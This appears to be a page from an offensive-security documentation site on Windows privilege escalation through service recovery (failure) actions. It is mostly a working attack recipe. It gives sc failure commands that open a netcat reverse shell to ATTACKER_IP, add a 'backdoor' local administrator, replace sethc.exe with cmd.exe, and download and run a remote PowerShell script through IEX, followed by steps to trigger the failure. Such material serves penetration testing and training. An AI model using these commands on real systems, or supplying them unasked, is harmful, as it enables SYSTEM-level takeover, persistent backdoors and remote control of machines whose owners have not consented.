Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
Windows services can be configured with recovery actions that execute when the service fails. If you can modify a service’s recovery settings, you can make it run arbitrary commands as SYSTEM on failure.
Check Current Recovery Config
sc qfailure <ServiceName>
Get-CimInstance Win32_Service -Filter "Name='ServiceName'" | Select Name, StartMode
sc qfailure ServiceName
Recovery Action Types
| Action | Description |
|---|
restart | Restart the service |
reboot | Reboot the machine |
run | Run a command/program |
Exploit — Set Recovery to Run Command
Requirements
SERVICE_CHANGE_CONFIG permission on the service- Or membership in a group that can manage the service
Check Permissions
accesschk.exe /accepteula -ucqv "Everyone" <ServiceName>
accesschk.exe /accepteula -ucqv "Users" <ServiceName>
accesschk.exe /accepteula -ucqv "Authenticated Users" <ServiceName>
Set Malicious Recovery Action
sc failure <ServiceName> reset= 0 actions= run/0/run/0/run/0 command= "C:\Windows\Temp\nc.exe -e cmd.exe ATTACKER_IP 4444"
| Parameter | Meaning |
|---|
reset= 0 | Reset failure count after 0 seconds |
actions= run/0/run/0/run/0 | Run command on 1st, 2nd, 3rd failure (0ms delay) |
command= | Command to execute on failure |
Trigger Failure
Stop the service (causes failure on restart attempt):
Or kill the process:
Add Admin User on Failure
sc failure <ServiceName> reset= 0 actions= run/0 command= "cmd.exe /c net user backdoor P@ssw0rd /add && net localgroup administrators backdoor /add"
SUID Bash on Failure
sc failure <ServiceName> reset= 0 actions= run/0 command= "cmd.exe /c copy C:\Windows\System32\cmd.exe C:\Windows\Temp\sethc.exe"
PowerShell — Modify Recovery
sc.exe failure VulnService reset= 0 actions= run/0 command= "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')"
Find Services with Existing Recovery Commands
for /f "tokens=2 delims==" %s in ('wmic service get name /value ^| findstr "Name"') do @sc qfailure %s 2>nul | findstr /i "COMMAND" && echo --- %s ---
Get-Service | ForEach-Object {
$fail = sc.exe qfailure $_.Name 2>$null | Select-String "COMMAND"
if ($fail) { Write-Output "$($_.Name): $fail" }
}
Quick Reference
| Step | Command |
|---|
| Check permissions | accesschk.exe -ucqv "Users" ServiceName |
| Set recovery action | sc failure ServiceName reset= 0 actions= run/0 command= "cmd" |
| Trigger failure | sc stop ServiceName or taskkill /f /pid PID |
| Find existing commands | Loop through services with sc qfailure |